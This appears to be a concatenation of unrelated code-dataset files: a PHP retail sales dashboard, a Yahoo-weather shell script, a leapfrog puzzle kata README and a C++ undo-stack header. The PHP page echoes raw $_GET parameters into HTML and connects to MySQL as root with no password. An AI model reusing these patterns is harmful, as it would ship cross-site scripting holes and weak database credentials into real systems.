j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-N4ZZ9MM');</script>
<!-- End Google Tag Manager -->
<meta charset="iso-8859-1" />
<title>Performance Paris Internet</title>
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-3.3.6-dist/css/bootstrap.css" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-select-1.9.4/dist/css/bootstrap-select.css" />
<link rel="stylesheet" type="text/css" href="../../../estilo.css" />
<link rel="shortcut icon" type="image/png" href="../../../paris.png" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<!-- analytics -->
<script>
/*(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-88784345-1', 'auto');
ga('send', 'pageview');*/
function change_date() {
var month = document.getElementById("month").value;
var year = document.getElementById("year").value;
var historicos = document.getElementsByClassName("tipo_venta");
var neg_div = document.getElementById("neg_div").value;
var cantidad_historicos = historicos.length;
document.getElementById("plan").href = "../../../ingresos/plan/index.php?month=" + month + "&year=" + year;
document.getElementById("filtro_depto").href = "../por_departamento/index.php?month=" + month + "&year=" + year + "&depto=601";
document.getElementById("filtro_negocio_division").href = "index.php?month=" + month + "&year=" + year + "&neg_div="+neg_div;
document.getElementById("historico").href = "../../../ingresos/historico/index.php?month=" + month + "&year=" + year;
document.getElementById("tipo_pago").href = "../../tipo_pago/index.php?month=" + month + "&year=" + year;
for (var i = 0; i < cantidad_historicos; i++)
historicos[i].href = "../index.php?month=" + month + "&year=" + year;
}
</script>
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N4ZZ9MM"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
<header class="container">
<nav class="navbar navbar-default">
<div class="btn-group-sm">
<div class="row">
<div class="col-md-12">
<h3 class="text-center"><a href="http://10.95.17.114/paneles"><img src="../../../paris.png" width="140px" height="100px"></a> Ingresos por Tipo Venta, <?php
if(isset($_GET['neg_div']))
echo " " . $_GET['neg_div'];
else
echo " VESTUARIO";
?></h3></div>
</div>
<div class="row">
<div class="col-lg-6 col-sm-6">
<h5 class="text-center text-success" style="margin-left: 200px;">Última actualización a las <?php
date_default_timezone_set("America/Santiago");
$con = new mysqli('localhost', 'root', '', 'ventas');
$query = "select hora from actualizar";
$res = $con->query($query);
$hour = 0;
while($row = mysqli_fetch_assoc($res)){
$h = $row['hora'];
if(strlen($row['hora']) == 1)
$h = "00000" . $h;
if(strlen($row['hora']) == 2)
$h = "0000" . $h;
if(strlen($row['hora']) == 3)
$h = "000" . $h;
if(strlen($row['hora']) == 4)
$h = "00" . $h;
if(strlen($row['hora']) == 5)
$h = "0" . $row['hora'];
$h = new DateTime($h);
}
echo $h->format("H:i") . " horas.";
?></h5></div>
<div class="col-lg-6 col-sm-6">
<a class="btn btn-default btn-sm" href="../../../query.php" style="margin-left: 001px;">Query Ventas<img id="txt" src="../../../images.png"></a>
</div>
</div>
<br>
<form action="index.php" method="get" class="row">
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Reporte
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu1">
<li class="dropdown-header">Reporte de Ingresos</li>
<!-- Link a Panel Plan -->
<li><a id="plan" href="../../../ingresos/plan/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte por Plan</a></li>
<!-- Link a Panel Historico -->
<li><a id="historico" href="../../../ingresos/historico/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Histórico</a></li>
<li role="separator" class="divider"></li>
<li class="dropdown-header">Reporte de Ingresos por Canal</li>
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Venta</a></li>
<li><a id="tipo_pago" href="../../tipo_pago/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Pago</a></li>
<li role="separator" class="divider"></li>
<li><a href="#">Reporte de Indicadores</a></li>
</ul>
</div>
</div>
<div class="col-lg-1" style="width: 20%;">
<select name="month" id="month" title="Mes" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$meses = array("Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre");
$cant_meses = count($meses);
if(isset($_GET['month'])){
$mes = $_GET['month'] - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}else{
$mes_actual = date("m") - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes_actual == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}
?>
</select>
<select name="year" id="year" title="Año" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$first_year = 2015;
$last_year = date("Y");
if(isset($_GET['year'])){
$this_year = $_GET['year'];
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $this_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}else {
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $last_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}
?>
</select>
</div>
<!-- Div para selección de filtro -->
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Filtro
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu2">
<!-- Link a Panel Historico (Sin Filtro) -->
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Sin Filtro</a></li>
<!-- Link a Panel Historico -->
<li><a id="filtro_depto" href="../por_departamento/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&depto=601">Por Departamento</a></li>
<li><a id="filtro_negocio_division" href="index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&neg_div=<?php
if(isset($_GET['neg_div']))
echo $_GET['neg_div'];
else
echo "VESTUARIO";?>">Por Negocio / División</a></li>
</ul>
</div>
</div>
<div class="col-lg-2" style="width: 20%;">
<select name="neg_div" id="neg_div" class="selectpicker" data-style="btn btn-default btn-sm" onchange="change_date();">
<?php
if(isset($_GET['neg_div'])){
$neg_div_selected = $_GET['neg_div'];
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}else{
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
$i = 0;
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($i == 0)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
$i++;
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}
?>
</select>
</div>
<div class="col-lg-1 col-md-1 col-sm-1" style="width: 140px;" id="act">
<button class="btn btn-primary btn-sm" style="width: 100px;">Actualizar</button>
</div>
</form>
</div>
</nav>
</header>
<table class='table table-bordered table-condensed table-hover'>
<thead>
<tr>
<th rowspan="3" style="background: white;">
<h6 class="text-center"><b>Fecha</b></h6></th>
<th colspan="15" rowspan="1" style="background-color: #35388E; color: white;">
<h6 class="text-center"><b>Ingresos Tipo de Venta</b></h6></th>
</tr>
<tr>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Sitio</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Fonocompras</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Empresa</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Puntos Cencosud</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Total</b></h6></th>
</tr>
<tr>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style='background-color: #E0E1EE;'>
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
</tr>
</thead>
<?php
require_once '../../paneles.php';
if(isset($_GET['month']) && isset($_GET['year']) && isset($_GET['neg_div'])){
$month = $_GET['month'];
$year = $_GET['year'];
$neg_div = $_GET['neg_div'];
tipo_venta_por_negocio_division($month, $year, $neg_div, $con);
}else{
$month = date("m");
$year = date("Y");
$neg_div = 'VESTUARIO';
tipo_venta_por_negocio_division($month, $year, $neg_div, $con);
}
?>
</table>
<script src="../../../bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>
<script src="../../../bootstrap-select-1.9.4/js/bootstrap-select.js"></script>
</body>
</html> | parisopr/ventas | ingresos_por_canal/tipo_venta/por_negocio_division/index.php | PHP | unlicense | 25,586 |
#!/bin/sh
ring_col=`echo White`
convert=`echo /usr/local/bin/convert`
c=`cat ~/Documents/CIRCLE/CONFIG | grep 'WEATHER_CODE' | tail -n1 | awk '{print $2}'`;
url=`echo "http://xml.weather.yahoo.com/forecastrss?p=$c&u=c"`;
strx=`curl --silent "$url" | grep -E '(Current Conditions:|C<BR)' | sed -e 's/Current Conditions://' -e 's/<br \/>//' -e 's/<b>//' -e 's/<\/b>//' -e 's/<BR \/>//' -e 's/<description>//' -e 's/<\/description>//' -e 's/,//' | tail -n1 | tr '[:lower:]' '[:upper:]'`;
i=`echo ${#strx}`;
let y=$i-4;
$convert -size 200x200 xc:transparent -stroke ${ring_col} -strokewidth 10 -fill none -draw "arc 190,190 10,10 0,360" /tmp/weather-ring.png
echo "\033[1;37m${strx:0:$y}\033[0m\c"
printf "\n"
| jtligon/bearded-tyrion-circles | WEATHER/TEXT/White/weather-text-ring.sh | Shell | unlicense | 717 |
Code Kata: Leapfrog Puzzle
===============
Puzzle: Imagine you have a list of numbers, each number represents a 'jump code' to tell you how many steps forwards or backwards you must jump relative to your current space.
Given a list of such numbers calculate how many jumps it will take to leave the list. If the list falls into an infinite loop, return -1
For example:
Given the list 2,3,-1,1,3 it will take four jumps to leave the list.
- Starting at the first space (ie the 2)
- 1st hop: Jump 2 spaces to the -1
- 2nd hop: Jump back one space to the 3
- 3rd hop: Jump forwards 3 spaces to the three at the end
- 4th hop: Attempt to jump three spaces... and leave the list
| julzhk/leapfrog_puzzle | README.md | Markdown | unlicense | 681 |
#ifndef _GOALUNDO_H_
#define _GOALUNDO_H_
#include <stack>
#include <queue>
#include <string>
class GoalUndo
{
public:
void undoGoal();
void undoOperation();
void undoOperation(std::string);
std::string getOperations();
std::string getGoal();
void addOperation(std::string, std::string);
void addOperation(std::string);
private:
struct Goal{
std::string name;
std::vector <std::string> operations;
};
std::stack <Goal> goals;
};
#endif | ChicoState/GoalUndo | GoalUndo.h | C | unlicense | 466 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.